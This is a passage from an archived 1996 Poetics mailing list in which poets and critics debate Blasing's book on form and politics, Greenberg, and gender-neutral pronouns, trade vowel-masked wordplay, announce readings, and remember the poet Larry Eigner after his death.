Henry Gould, Apologies if my comments were overly abrasive however my comments on the Blasing book were not based on ESP-- I have read a fair amount of the book. I am not contesting her thesis regarding form, though that might be done, I think for the large part she is correct that form is not inherently political, or inherently anything else. Mark Wallace in _Witz_ articulates a similar position in his call for "a free multiplicity of form." & the Rasula book is excellent re the recent history of this debate. My concern is most strongly signified by the 4 poets the book examines, & echoes Joe A. -- "whose interests are being served?..." The inclusion of a less pedigreed poet or two would mean something, instead we're given the rhetorical construction of a center. I don't think it's unreasonable to point to questions of canonicity & institutional power here. This also seems to me to relate to Charles B.'s distinction between "radical modernism" (most of Stein, Williams of _Imagiations_, Khlebnikov, etc.) and conservative modernism (Williams of "Red Wheelbarrow," Stevens, etc.). I.e. I'm not sure the rhetorical complexity Blasing argues for, and calls "postmodern," is to be found only in the post-WWII Ivy League. --Rod PS-- not sure CB used the term "conservative modernism," can't find the cite.

↑ Index

131. Gabrielle Welford
Re: Marchand Du Sel & Rose Selavy
Sun 4 Feb 1996

On Sat, 3 Feb 1996, Maria Damon wrote:

> now guyzies, weren't we going to spare the POETICS crowd our actual composing
> process, and only subject them to several highly selective finished products?
> maria d
>
Ay Maria, ay tis true. A mistake of eyeing and fingering, tis all. Gab.

↑ Index

132. Susan Schultz
*Re: st*r-struck (fwd)*
Sun 4 Feb 1996

---------- Forwarded message ----------
Date: Sun, 4 Feb 1996 11:35:52 -1000
From: William Craighowes <[redacted]>
To: Susan Schultz <[redacted]>
Subject: Re: st*r-struck (fwd)

* c*n't b*l**v* th*t p**pl* w**ld sp*nd s* m*ch t*m* *n s*m*th*ng *s *npr*bl*m*t*c *s th*s. Y** c*n *lm*st *lw*ys t**s* **t th* m**n*ng *f * m*sk*d v*w*l s*nt*nc*--*nl*ss *f c**rs* s*m**n* *s d*l*b*r*t*ly try*ng t* m*ss y** *p.

    * * * *

    G*V* M* * V*W*L, V*NN*!

    * * * *

    B*t c*ns*n*nts--th*t w**ld b* f*r m*r* tr*cky.

    O* *a*'* *i*** *i*o*e*ia**e, a** **e **ui*
    O* **a* *o**i**e* **ee, **o*e *o**a* *a**e
    ou* *ea** i**o **e *o***, a** ou* *oe . . .

*ny g*ss*s?

↑ Index

133. Kevin Killian
beatlist
Sun 4 Feb 1996

"BEAT-L: Beat Generation List" <[redacted]>

↑ Index

134. Ron Silliman
*Re: st*r-struck (fwd)*
Sun 4 Feb 1996

Anyone read Harryette Mullen's

S*perm**k*t

??

↑ Index

135. Emily Lloyd
*Re: st*r-struck (fwd)*
Sun 4 Feb 1996

...reading all this st*r stuff & wondering what letters/words the *s on the US flag might be standing in for. Off to attempt a translation--

emily

↑ Index

136. Steve Evans
Greenberg/Cage/Eigner
Sun 4 Feb 1996

Dear Rod and,

The names Greenberg tacks to the end of the paragraph I cited on the avant-garde are Henry Miller and John Crowe Ransom. CG writes: "[I]t is a fact that there has been a certain regiment- ation of the avant-garde, a standardization of its attitudes, which-- whether the attitude be Henry Miller's or John Crowe Ransom's-- threatens to impose a new academicism on us" (255). Giving that choice of examples some point might have been the fact that Ransom was also a contributor to the PARTISAN REVIEW forum (as were John Berryman, R.P. Blackmur, Robert Gorham Davis, Leslie Fiedler, Wallace Stevens, Lionel Trilling, and H. L. Mencken).

Incidentally, James E. B. Breslin points out that when Wallace Stevens "characterized the age as one no longer conducive to poetic experimentation" in the same PR forum, Ransom "happily concurred" (FROM MODERN TO CONTEMPORARY [1984] 11)--just as, to blur threads a moment, I feel quite sure Mutlu Blasing would concur today.

That Greenberg's piece as a whole is light on proper names, with their inevitable and cumbersome specificities, is probably a strategic decision. It is

also the case that by the mid-40s, CG had shifted out of his earlier practice of writing almost as often about literature as about the visual arts. The first volume of the COLLECTED ESSAYS AND CRITICISM opens with a piece on Brecht; has a piece called "Renaissance of the Little Mag" (discussing ACCENT, DIOGENES, EXPERIMENTAL REVIEW, VICE VERSA, and VIEW); includes reviews of books by John Wheelwright, Marianne Moore, Jarrell, Blackmur, Spender, and others; shows CG panning Laughlin's 1941 NEW DIRECTIONS IN PROSE AND POETRY; has a "discussion" of "Mr. Eliot and Notions of Culture"; und so weiter.

By contrast, the second volume swerves out of the museums and galleries only seldomly--he castigates the Bollingen Committee for the award to Pound, he calls Valery incapable of thinking, he writes appreciatively of recent books by Ernst Cassirer and Bernard Berenson, but the emphasis has definitely shifted paintward.

Another paragraph from the "State of American Writing, 1948" piece grabbed my attention by seeming in such open contrast to Spicer's premise in 1949 OCCIDENT forum, with those plaintive questions "Why is nobody here? Who is listening to us" (rpt. in ONE NIGHT STAND 90-92). CG, obviously responding to a leading question about the status of poetry's audience, writes:

"It would appear true that the poetry of the past has a diminish- ing audience; Spenser, Milton, Wordsworth do not see to be read by anywhere near as large a proportion of the cultivated public as they used to be. But the popularity of contemporary poetry increases steadily and increases phenomenally, and the successful poet still dominates the literary and academic scene, even if he is not read by as many people as the novelist is. It strikes me as risky to say that poetry has had 'an ever diminishing audience' in recent years" (256).

I post all this despite Ron's more ranging and eloquent summary of Greenberg both in his recent posts and in the POETICS JOURNAL article on "Postmodernism"--from which I learned a lot about the aftermath of Greenberg's legacy in the 70s, as manifested in the struggles to define the editorial project of ARTFORUM at mid-decade-- only because I have been dipping into the COLLECTED ESSAYS AND CRITICISM for the first time and welcome some chance to discuss them. What I've liked best is reading Greenberg more or less simultaneously with the wonderful M U S I C A G E, which I just finished last night. There is a wonderful interference that comes of addressing oneself to Greenberg by way of Cage, and Cage by way of Greenberg, rather like what seeing the ROLYWHOLYOVER circus sweep into the museums must have been like (I missed it).

A last note, in another mood. Just a few days ago, I finished Ernst Pawel's last work, a biography of Heine's last years in Paris (the years of the "mattress-

grave") called THE POET DYING. Last night, I was devastated upon reading Joan Retallack's quiet note about Cage's death just days after her final interview with him. And now Hank Lazer tells us of Larry Eigner's being gone. When I open Eigner's SELECTED, it is to a broadside he published the year I was born (1965):

the music, the rooms

silence silence silence silence sound

↑ Index

137. **Steve Carll**

Re: Moving Lips: str=Staffordshire bull terrier

Sun 4 Feb 1996

GO LOSS GO!!!

--steve, in wonder

↑ Index

138. **Eryque Gleason**

Re: pomo-rama-lamma-ding-dong

Sun 4 Feb 1996

William Howe wrote:

hear hear to ron to limit our vocabs in order to re-strict meaning to only certain pre-scribed notions about what or how words mean is silly and an long term effort to systematically erradicate the use of a word because it might be offensive or derogatory or oppressive would in the end leave us with very few words i admit that a word may be damaging culturally but there is no way to get around that language is opressive the way in which we use language is opressive the way in which language means is opressive so singling out pet peeves tolambast seems to me a mis-guided attempt at a linguistic re-education that is doomed to failure

---

in general, i might agree with that statement. sometimes the push to use new, so-called "politically correct" terminology only leaves behind a bad taste. but in this specific case, how many friggin' people use the term "pomo" or even "postmodern" on a frequent basis?

there's a difference between trying to change the thoughts of millions of people spread out over generations (i.e. telling people that they shouldn't use any of the various derogitory racial terms, which are not merely apolitical symbols, but representations of prejudiced thought), and it's quite another to tell (mostly)

academics that an abrieviation they've chosen (which indicates little more than they really think olson coined a 'really long word') was already taken.

I vote for pomdern

eryque

p.s. ten below here tonight, who can beat that? :)

↑ Index

139. Dan Raphael Dlugonski
Re: Pomo
Sun 4 Feb 1996

---

a couple points -- as Xerox Co. found out in their alleged lawsuit (or is this just another lingual/urban myth?) words can't be owned once they are seeded in the populace. -- as silliman sez, words are multiple, and iw ould add plastic, as well as mutagenic. the PC movement, copyright laws, censorship et al work toward limiting the power of words. throughout history, shamans (& from them the various religiosi) have found power in naming. this power needs to remain at hand to all. -- i wish we could adopt a gender-neutral pronoun. maybe a 'movement' to foster this (i know,ther'd be massive proprietary arguments over what these pronoun should be. that doesnt matter much.). ive been unwilling to do it in my own work for lack of clarity (something im frequently over the border of anyway), further confusing a potential audience. this is one place those working in the educational institutions could help. in spreading this need for the gender neutral prnoun, coz so often a writer is making a statement that applies to many people but because the context makes it third person singular is stuck with gender choices

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140. Kevin Killian
beatlist--more
Sun 4 Feb 1996

"BEAT-L: Beat Generation List" <[redacted]>

A couple of you have used the above in an attempt to join the beatlist. The above is the address to send a message to the list, and I posted it because Al Nielsen asked for it.

To JOIN the list write to:

[redacted]

Your message should read:

sub BEAT-L your name

Sorry for my telegraphic confusion. A stitch in time comes to mind.

Dodie Bellamy

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141. Tenney Nathanson
quote id eon
Sun 4 Feb 1996

> *Date: Fri, 2 Feb 1996 09:12:36 -0800*
> *From: Ray Davis <[redacted]>*
> *Subject: Re: poetics of the quotidian*
>
> *It was a great and unanticipated relief for me to find Silliman's poetry written on a bus about riding a bus. Hannah Weiner is the only "mystical" poet I know of whose spirit voices tell her to sit up straight, stop being such a loser, etc.*

there's a passage in Whitman's notebooks, somewhere, to the effect that:

the second time the angels appeared in a vision to Swedenborg, they gave him the whole mystical sheebang

the first time, though, he was at a dinner party, and all they said was: "don't eat so much. you'll get fat."

↑ Index

142. Tenney Nathanson
or
Sun 4 Feb 1996

> *Date: Sat, 3 Feb 1996 14:58:00 -0600*
> *From: Joe Amato <[redacted]>*
> *Subject: Re: Pomo*
>
> *and i wasn't aware (as of my last post) of the "pomo" designation mark nowak indicates... the term has been used shorthand in discussions of postmodernism for some time now... i'm willing to revise my use of same, sure, let's try to find a better term... how bout postmo?...*
>
> *joe*

or primo

↑ Index

143. **Tenney Nathanson**
(no subject)
Mon 5 Feb 1996

> *If one wanted to reduce all of modernism to these two assumptions, and claim that the "properly postmodern" would only need to question them, sure. However, I find this reduction highly suspect. I think there's more to modernism than this, and I think there's more to postmodernism than simply resisting the assumptions of modernism described here. Sorry, but I'm not buying.*
>
> *Steve*

"workers bravo"

↑ Index

144. **Tenney Nathanson**
trail Blasing
Mon 5 Feb 1996

> *Date: Sun, 4 Feb 1996 12:02:43 EST*
> *From: Henry Gould <[redacted]>*
> *Subject: challenges: re: Joe's post(long)*
>
> *Joe, I'm not sure I can answer your question - are you looking for where Blasing fits in on the poetry map (like in the chart that was in the NY Times magazine section a few months ago)? She's not so easily placeable up/down right/left. The book cites a full array of poets, critics & culture theorists. You're trying to get at her intellectual genealogy? This is her second book, her first was a medieval-like typology of 19th-20th cent. american poetry via an analysis of each poet's dominant rhetorical strategy ("American Poetry: the Rhetoric of its Forms", Yale UP, 1987). I found it fascinating & incredibly, boldly reductive. But here's a long quote from pp. 18-19 of the new book, which I think shows the essence of her critical approach:*
>
> *"I would like to reapproach the political issue via De Man's idea of the "aporia" between the materiality of language and its meaning. De Man traces an irreducible divide between grammar and meaning, betyween tropes as su ch and their meanings, between words or sentences and the statements they make, between letter and the words they spell, down to the distinction between a let ter as material, blank mark and the letter as sign, a mark recognizable as a fu nction in a sign system. This gap in language - this permanent "errancy of lan guage which never reaches the mark" - what Walter Benjamin calls history," De M an writes. History in this sense may be understood as the political linkage be tween structure and meaning, between an "inhuman"materiality of events and the "human" history of "meaningful" events. Thus, in de Man's words, "the nonmessi anic, nonsacred, that is the POLITICAL aspect of history is the result of the P*

OETICAL structure of language." [caps for italics]
"If we appropriate this scheme for poetry, the divide between form and cont ent becomes the condition for the functioning of poetic language. The prevaili ng dogma that the specialness of poetic language lies in the inseparability of its form and content then appears to be a historically specific ideology, a particular convention of getting from the conventionality of the signifier to intentional meanings. This is the generic convention of Romantic and modern o rganicist models of peotic language, and it has shaped readings of all kinds of poetry, at the expense of repressing historical differences.
"Only by insisting on the separateness of form and content can we make hist orical distinctions between varieties of poetry. That is, if we locate the gap between form and meaning inside poetic structure, we can address the rhetorica l - that is political and historical - bridgings of this aporia. Rhetoric, the motivated troping of the literal material into the figurative superstructure, leaves this negotiation between form and meaning open to viewe - to FURTHER neg otiation. Any scheme that would repress this intentional negotiation and argue the inseparability of a poem,'s material base and its meaningful superstructur e would be a species of aestheitc ideology.
"Rhetoric as a political, persuasive figuration of the material code into m eaning bears witness that meanings are not inherent int he material. If poetry has a generic and general political function, it may be to show us HOW it cons tructs itsel;f as a discourse that in turn constructs a meaningful world, natur e, and self. Thus poetry always has a sociopolitical valence, because it foreg rounds the distance between its structure - the generic, linguistic, and repres entational codes that govern its substitutions - and its meaning. Poetry is no more reducible to any given set of formal practices than to meanings; it names the distance between the two. It is the text of the historically and metaphys ically unstable rhetoric that persuades the trope, letter, or form to mean. An y naturalization of the code as inherently meaningful fits the material fact in to an already meaningful whole of some purposive, progressive history.
"From this perspective, any claims for the inherent value of any given form must be veiwed with suspicion. ...If both open and closed forms are netural co nventions, poetry's underlining its constructedness - the implicit, generic persuasions of its forms and conventions, including the criteria that distingui sh poetiuc discourse from others at a given instance and mark it AS a separate discourse - may well constitute its usefulness. That is, the more nonutilitari an and special poetic language sounds, the more it represents itself as convent ion-bound and emphasizes its own figuration, the more it fulfills its unique an d generic, inherently critical function."

End of quote. One can see clearly how distanced this is from Pound's ideogram claims, Olsons form = content manifestos, the New Formalists organic claims for the pentameter, etc. To me it reads very Dantesque & medieval: the convention ality of letters is the source of rhetorical freedom & the visionary, political formulations of poetic allegory. Ironically considering Blasing's diatribe aga inst language poetry, it reads almost as a language poetry manifesto, shorn of its "historically specific" political provocations (& muddles). This is why I in part I find this rather exciting & "21st century" - it offers a critical gro

> *und for a kind of fusion or rapprochment between some very archaic & ancient co*
> *ncepts of form, genre, & motivation in poetry, with some very current, and on t*
> *he surface very different-sounding, poets.*
> *- Henry Gould*
>
> ----------

sorry to quote at such length but
(and) it's pretty late at night even in Tucson so I'll be less circumspect
than I prolly should be BUT:

this is pretty bizarre. De Man all over the place insists on sticking a giganto wedge between (say)(cf. that Dial-a-Critic special issue edited by Warminski) what Wordsworth said he was doing and what the errancy & etc of the language shows him to have done. And versus Derrida, say, he sure as hell isn't all that interested in the former, and hardly (unlike Derrida) even in the tension between the former and the latter: Wordsworth gets read in terms of what the rhetoric (un)DOES and not at all in terms of the hand in the britches pocket that so bugged Keats. So that (I haven't read the book either & I'm a academic AND it's my field sorry sorry but) at least as summarized, it's way bizarre for Blasing to claim to be coming out of de Man when she asserts that Pound's "belief" (?) in the Chinese written character exhibits a faith and fixity unlike what de Man teaches us to value. If de Man and his ephebes can so successfully recycle the same cento of Wordsworth passages (pieties) to exhibit the necessary instabilty of x y and z (and they DO do it powerfully) it wouldn't be hard at all to play at being a de Manian showing such instability (in spades squared) for the Cantos (cf. some of Marjorie's "middle period" [?] work).

which is basically to second Steve Carl's recent post: at least as paraphrased, the argument re the "moderns" is both molto predictable and a gigantesque straw-person construction (cf. thirdbaseperson) that hides virtually all of what's exciting about reading, say, Ole Ez (folding his blankets). I'd assume that (forgetting Whitman for the moment) Ez is MISTER logo-poeia in a way that enabled big chunks of not only Charles and Ron but gasp "even" Ashbery (though Eliot plays perhaps a bigger role in JA's fugitive sense of idiom).

(btw "materiality" and "meaning" seems like an odd flattening out of the more familiar de Manian performative/constative song and dance) e poi basta. (oh boy pasta)

(poi s'ascose etc)

Tenney

↑ Index

145. Ken Edwards
Out of Everywhere
Mon 5 Feb 1996

A number of readings will take place during February and March 1996 to celebrate the publication of _Out of Everywhere: linguistically innovative poetry by women in North America & the UK_, edited by Maggie O'Sullivan.

Monday 12 February
Launch reading with: Denise Riley, Caroline Bergvall, Grace Lake, Maggie O'Sullivan, Carlyle Reedy, Geraldine Monk, Wendy Mulford, Kathleen Fraser, Fiona
Templeton, Paula Claire.
At Poets & Writers, East West Gallery, 8 Blenheim Crescent (off Portobello Road), London W11.
Ladbroke Grove/Notting Hill Gate tube.
Starts 8pm. Admission: L4/L2.50 concs. (includes glass of wine).

Tuesday 13 February
Maggie O'Sullivan and Geraldine Monk will read at SubVoicive.
Upstairs at The Three Cups, Sandland Street, London WC1.
Holborn tube.
Starts 8pm. Admission: L4/L2.50 concs.

Friday 1 March
Basil Bunting birthday readings. Nicole Brossard will be reading with Daphne Marlatt (Northern Arts sponsored reading). Followed by a celebration of the anthology with Maggie O'Sullivan, Geraldine Monk.
At the Music School, Palace Green, Durham, under the auspices of the Basil Bunting Centre.
Starts 6pm. Admission: L5 (includes refreshment).

In addition...
On Wednesday 28 February Nicole Brossard will be reading at The Voice Box, Royal
Festival Hall, South Bank Centre, London SE1.
A celebration reading at Waterstone's, Islington, will take place some time in March.

For further information about these readings phone Ken Edwards at Reality Street Editions on 0[redacted].

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146. Blair Seagram
Post/Greenberg
Mon 5 Feb 1996

Re: Greenberg

Leo Steinberg (Other Criteria) once said that Greenberg was provincial. If that is true, what we got was International Provincialism. Too much power with a too limited focus.

Re: modernism

For what its worth Cezanne, who has been called the founder of modernism is also labelled a post-impressionist.

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147. Ron Silliman
Larry Eigner
Mon 5 Feb 1996

When the University Art Museum celebrated Larry Eigner's work by posting "Again Dawn" in humongous letters on the outside of the museum and held the big reading with and for Larry, Kit Robinson and I did a session with an earnest interviewer on the university radio station. The interviewer wanted to make of the occasion an uplifting "my left foot" kind of tale, amazed that someone so afflicted with cerebral palsey could write poetry at all. But that of course was NOT the story. The story might have been this: that one of the great poets of the 20th century -- no further qualification needed -- happened to have had cerebral palsey.

One value of that exhibition at UCB was that those of us who were there had the opportunity to tell Larry just how much he meant to us all.

Like so many other readers, I had fallen entirely in love with Larry's poetry long before I had any understanding of how challenged he was by his own body. Even though David Gitin and others had tried to convey this to me years before and I had all the evidence of his letters beginning around 1969, back when I first wrote for some work for Tottel's, when Larry first moved to Berkeley in 1978 my immediate instinct was to call him on the phone! Over the years, as Larry's speech improved markedly by his exposure to so many different people in Berkeley (very different I gather from the isolation within his parents house in Swampscott for 51 years), and as I also learned to listen, I could and did have real conversations over the phone with him. And of course in person. It was great good luck that Larry's brother had settled in Berkeley.

Sun & Moon has a new book of Larry's forthcoming and there no doubt must be hundreds, perhaps thousands, of poems yet to be collected. Hopefully somebody (UC Press comes to mind as the logical place) will put together a collected, edited by Grenier. In addition to Eigner's own 40+ small press books, I would call people's attention to "Missing 'X'" by Barrett Watten (in _Total Syntax_) as a superb discussion of the dynamics of Larry's work.

Ron

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148. Henry Gould
challenges re: Amato, Smith, Nathanson
Mon 5 Feb 1996

Tenney - I wrote in my first post on the Blasing book that this kind of heavy duty critical summation of periods & styles is a blunt instrument generically unfair about individual poets. But how can you say, without looking at the book, that it leaves out everything interesting about poetry, Pound & others'? I mean, on one level that's criticism's eternal problem, & on that level I agree with you. But on what I see as Blasing's pivotal point - that a powerful stream of 20th century avant-garde American poetry privileges ONE approach to rhetoric (organicism: form = content), and that a lot of criticism has followed their lead & missed something fundamental - on this point I find her pretty persuasive.

Joe - what you write about form & content implicating each other is exactly what Blasing gets into (& didn't come through in that long quote). Particularly in her chapter on Ashbery she writes about the "containment" or commodification or mystification of politics and "extra-textual" reality. & I agree with both you & Rod Smith about the political dangers of a kind of Olympian rhetorical nest for poetry. What Blasing emphasizes is that poetry has a political role, a central role in culture, because in it rhetoric "shows its hand", unveils its roots & mystifications. Poetry that denies its link to larger cultural discourses, that denies being tainted with rhetoric and political persuasion, is just one more path to the ivory tower. Rod, I agree with you that it would be more convincing if these critics covered "uncanonical" renegade poets. It's a cliche to say that such critics are rare. You have to be pickled before dissection. - Henry Gould

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149. **Emily Lloyd**
Re: neut gender
Mon 5 Feb 1996

Dan wrote:
> -- i wish we could adopt a gender-neutral pronoun. maybe a
>'movement' to foster this (i know,ther'd be massive proprietary arguments
>over what these pronoun should be. that doesnt matter much.). ive been
>unwilling to do it in my own work for lack of clarity (something im
>frequently over the border of anyway), further confusing a potential audience.
> this is one place those working in the educational institutions
>could help. in spreading this need for the gender neutral prnoun, coz so
>often a writer is making a statement that applies to many people but because
>the context makes it third person singular is stuck with gender choices
>

There *is* a movement to foster gender-neutral pronouns, for the reasons you cite as well as others. Transgender activists and artists are using "ze" in place of she, he, or s/he and "hir" instead of his or hers. Forthcoming from High Risk is a novel by lesbian transsexual performance artist Kate Bornstein that makes use of these terms, and they've also appeared in a number of queer zines/newspapers. The new words appeal to me not only in that one might use them when referring to "many people in the third person singular," but when referring to one person whose gender is ambiguous/flexible/intentionally indeterminate/etc. The problem? "Ze" looks weird. On the other hand, so did/does "Ms."

emily

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150. **Michael Boughn**
Re: trail Blasing
Mon 5 Feb 1996

> *which is basically to second Steve Carl's recent post: at least as paraphrased, the argument re the "moderns" is both molto predictable and a gigantesque straw-person construction (cf. thirdbaseperson) that hides virtually all of what's exciting about reading, say, Ole Ez (folding his blankets). I'd assume that (forgetting Whitman for the moment) Ez is MISTER logo-poeia in a way that enabled big chunks of not only Charles and Ron but gasp "even" Ashbery (though Eliot plays perhaps a bigger role in JA's fugitive sense of idiom).*
>
> *(btw "materiality" and "meaning" seems like an odd flattening out of the more familiar de Manian performative/constative song and dance)*

> *e poi basta.*
> *(oh boy pasta)*
>
> *(poi s'ascose etc)*
>
> *Tenney*

Perhaps I'm being naive, but isn't EP's famous translation of the Chinese character for "sincerity" (which also seems to found his poetics) based on an acknowledgement of precisely that "gap" involved in standing beside something, and so having to acknowledge your (yikes!) freedom (quaint word, I know, but I can't do better) in relation to it?

Mike

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151. **Maria Damon**
Re: Pomo
Mon 5 Feb 1996

---

i agree w/ joe. mark's suggestion was not censorship but a reminder that there are hidden histories in words and that we might want to be mindful of histories erased (unwittingly) through homonyms one doesn't even realize are homonyms, because of history's ravages, from which many of us have benefitted, but the Pomo Indians have decidedly not. maria d

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152. **Jordan Davis**
gender stars
Mon 5 Feb 1996

---

what about the spivak pronouns ei em eir? a third person singular of non-determined gender? My source for this is Steve Shaviro's Doom Patrols, a solid novel/exegesis of My Bloody Valentine, located somwhere on the web.

And as for stars, anybody read "Y**r D**k" by Ron Padgett, in _Great Balls of Fire_?

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153. **Jordan Davis**
stars gender
Mon 5 Feb 1996

Or,
and isn't that the best way to begin a post,

isn't the problem of _readability_ with st*r
that we know right away what we're reading?
that there's no delay of assembly, no language
acquisition involved? I don't mean that
everything should be written in another language
but don't these puzzleworks get more (games?
mazes?) through when there's some question
of readability? "Y**r D**k" by Padgett or
"Prom in Toledo Night" by Ann Lauterbach
are two examples of nearly readable works
that develop and sustain.. what.. something
that continually is clear and eludes.. while
conveying puzzlingly strong affects

Jordan

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154. **Mark Wallace**

form and politics

Mon 5 Feb 1996

As regards the recent comments about the relation between form and politics and Blasing's book, I think the problem there might usefully be thought of in two ways: the difference between what's inherent in form per se, and the way that poetic form has been politicized in this century. To deny that there's a political element to form, as Blasing does, and then to try to reinscribe the major traditional formalists of this century is a pretty nasty trick, and shows how thoroughly she's NOT interested in opening up formal possibilities--if she really believed in attempting to undermine some poetic dichotomies that do need examining--"radical" vs. "conservative," "experimental" vs. "traditional"--she would not end up by speaking mainly about the writers most vaunted by a conservative literary establishment. Her literary politics are conservative, plain and simple, and in that context, her argument that "form is not political" is simply part of what that conservative literary establishment has been saying for awhile--"we're not conservative or political, simply better." And that's utter bullshit.

I appreciate Rod's mention of my essay coming out in Witz (it hasn't actually appeared yet, but Rod's already seen it), and I think he's right also to point people in the direction of Rasula's book, which really manages to contextualize the issue of poetic form and politics much more accurately than is usually the case even among "avant garde" writers. But my sense that a multiplicity of formal possibilities might also (and probably do by definition) include

reconfigurations of possibilities sometimes disavowed by avant garde writers (lyric, narrativity) is by no means an attempt to say that poetic form does not have political implications. Nor is it an attempt to "return" to a more conservative poetics, as some people have tried to tell me. Form has all sorts of political implications in an environment in which formal choices now come to seem almost by definition to put one in a political camp--you write rhymed verse and you're a "conservative," you use parataxis and you're a "radical." Far from attempting to deny that distinction, I think it needs to be pushed further so that it can collapse. Can formal "experimentation" also include distortions of sonnet, of rhyme--I think a number of writers are proving that it can. Can parataxis become a codified way of indicating to others that you are practicing the proper avant garde traditions? I think that's also true. IN such a situation, "radical" and "conservative" stances begin to get more mixed up.But of course those questions themselves could also be turned around in countless directions.

The question of opening up possibilities of form implies, I think, that 'avant garde' writers need to resist too settled distinctions about form, because such settling could have the result in turning avant garde writers merely into defenders of their own set of poetic forms, rather than leading them to seek new possibilities for formal "mutation."

Blasing wants to say 'form is not political' so that everybody will go back again to reading Robert Lowell (or whoever) at the expense of all sorts of other writers. Now Lowell may be more interesting than avant garde writers sometimes give him credit for, but he's by no means so interesting that he should be read at the expense of many far more interesting poets of this century (and everybody out there knows who they are...). To say that "radical" vs. "conservative" are rather weak metaphors for some of the complexity of poetic forms (which they are) is not the same as denying that there is a politically and aesthetically conservative literary establishment that wants to deny people access to inventive modes of writing. Blasing's book is a disinformation campaign masquerading as a real engagment with questions of poetic form.

mark wallace

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155. **Chris Stroffolino**

Re: trail Blasing

Mon 5 Feb 1996

Dear tenney-- I like your pointing out of a methodological contradiction in Blasing's rather selective appropriation of De Man (Pound vs. Wordsworth). What always bugged me about De Man though was that he REDUCES even

what Wordsworth SAYS he's doing so he can claim all this "unintentional excess"--and yes of course it's unintentional. But more like Kant's purposeful purposelessness. (i.e. as Shelley says "poets are...the words they understand not"). Also, I'm glad you qualified POUND as MISTER LOGOPEIA--- For Marisa Januzzi (and others?) suggest that LOY was MS. (sorry emily) LOGOPEIA---and pound may have even stole it. chris s.

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156. Henry Gould
trail blasing re: Mark Wallace
Mon 5 Feb 1996

Mark : one question: have you read the Blasing book? She never, ever, says "form is not political". She never mentions Robert Lowell. Her argument is that all writing is rhetorically based; that all rhetoric is persuasion and thus political. She writes about the 4 poets mentioned because they work in both open & traditional forms. To claim that Blasing makes value judgements based on cultural snobbery would have to be backed up by some specifics. To make these assumptions based only on the knowledge that she wrote about a certain 4 poets is jumping the cwitical gun. Lemme try to clarify. She wrote that form has been politicized in the US for a long time. One way form has been politicized is by reifying certain rhetorical choices as being "natural", "organic", thus closer to the truth - and claiming that they are thus non-rhetorical; this kind of poetry doesn't NEED to persuade because it mirrors nature. Her counter-current, her postmodernists, move in a different direction - emphasizing the un-natural, political nature of forms; showing their rhetorical hand & the political choices that this involves. - Henry Gould

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157. Jordan Davis
monday morning origin myths
Mon 5 Feb 1996

Simon S

weren't you in New York (or were you in DC or were you in China) when langpo became the de facto fourth gen NY School? if so, would you really subscribe to the myth that the NYS scene at that point was a gang of no-nothing zen hooligans? I don't really think (even at their earliest, most Padgett/Berrigan-doped) Steve Levine and Gary Lenhart count as anti-intellectuals (no matter what Gary may have written to you in a rejection slip, Chris). I would guess that the influence of Ted was the touchstone for inclusion in the "gang", though, and that that influence was restrictive to the point of intolerance (probably.. I was

about six at the time). This may or may not account for the "reverse discrimination" you (and everybody else in the world) get from a CERTAIN UNNAMED LANGUAGE POET IN NEW YORK, Chris. Or maybe he's just like that. But I find the idea of "sensibility" as developed by Levine, Lenhart, Greg Masters, Eileen Myles, Rochelle Kraut and Elinor Nauen, Maggie Dubris, Barb Barg, Bob Rosenthal not exactly "anti-intellectual" (if not influenced by Derrida, De Man, Deleuze, Zizek etc. either). More like an earnest (over-earnest?) extension of Ted/Alice's project of poet as 24 hr, well, poet.

Curious (yellow),
Jordan

↑ Index

158. **Tom Mandel**
Re: Larry Eigner
Mon 5 Feb 1996

Goodbye Larry

tm

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159. **Douglas Messerli**
Re: Larry Eigner
Mon 5 Feb 1996

At 03:36 AM 2/5/96 -0800, you wrote:
>When the University Art Museum celebrated Larry Eigner's work by
>posting "Again Dawn" in humongous letters on the outside of the museum
>and held the big reading with and for Larry, Kit Robinson and I did a
>session with an earnest interviewer on the university radio station.
>The interviewer wanted to make of the occasion an uplifting "my left
>foot" kind of tale, amazed that someone so afflicted with cerebral
>palsey could write poetry at all. But that of course was NOT the story.
>The story might have been this: that one of the great poets of the 20th
>century -- no further qualification needed -- happened to have had
>cerebral palsey.
>
>One value of that exhibition at UCB was that those of us who were there
>had the opportunity to tell Larry just how much he meant to us all.
>
>Like so many other readers, I had fallen entirely in love with Larry's
>poetry long before I had any understanding of how challenged he was by
>his own body. Even though David Gitin and others had tried to convey

>this to me years before and I had all the evidence of his letters
>beginning around 1969, back when I first wrote for some work for
>Tottel's, when Larry first moved to Berkeley in 1978 my immediate
>instinct was to call him on the phone! Over the years, as Larry's
>speech improved markedly by his exposure to so many different people in
>Berkeley (very different I gather from the isolation within his parents
>house in Swampscott for 51 years), and as I also learned to listen, I
>could and did have real conversations over the phone with him. And of
>course in person. It was great good luck that Larry's brother had
>settled in Berkeley.
>
>Sun & Moon has a new book of Larry's forthcoming and there no doubt
>must be hundreds, perhaps thousands, of poems yet to be collected.
>Hopefully somebody (UC Press comes to mind as the logical place) will
>put together a collected, edited by Grenier. In addition to Eigner's
>own 40+ small press books, I would call people's attention to "Missing
>'X'" by Barrett Watten (in _Total Syntax_) as a superb discussion of
>the dynamics of Larry's work.
>
>Ron
>==========

Dear Ron:

Thanks for the mention of our forthcoming Eigner book, readiness / enough / depends / on. Edited by Bob Grenier, this is one of Eigner's major works. It will be available in the August - December season.

Also, you should be on the lookout for our wonderful new web-site, which will be up tomorrow. I'll be posting an address today or tomorrow. It will be a wonderful in-depth site, with all Sun & Moon listings (eventually), information on the authors, ordering form, and dozens of links.

Douglas

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160. Mark Roberts
Australian Writing On Line - new address
Mon 5 Feb 1996

Australian Writing On Line finally has its own address - [redacted] and its web site should be up and running shortly.

I messages to the Poetics list will still be posted from my Sydney Uni address as I will continue to be subbed to the list at this address.

regards

Mark Roberts

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161. Douglas Messerli
Re: Larry Eigner
Mon 5 Feb 1996

At 01:02 PM 2/4/96 CST6CDT, you wrote:
>Poet Larry Eigner died last night of pneumonia and other
>complications. I will post additional obit/bio information
>in the next couple of days. Here, a few basics: born 1927, got
>cerebral palsy at birth, non-ambulatory, lived in Massachusetts until
>1978, then Berkeley. First book published by Robert Creeley in 1953,
>over the past 35 years, Larry authored more than 40 books--some
>recent ones: _Areas/Lights/Heights: Writings 1954-1989_ (Roof,
>1989); _Windows Walls Yards Ways_ (Black Sparrow, 1994). Work
>appeared in _Origin_, _The Black Mountain Review_,
_L=A=N=G=U=A=G=E_,
>and in Donald Allen's _The New American Poetry_. Important to many
>poets, among them Denise Levertov and Robert Duncan, and a good many
>on this Poetics List....
>
>from _Selected Poems_ (1971):
>
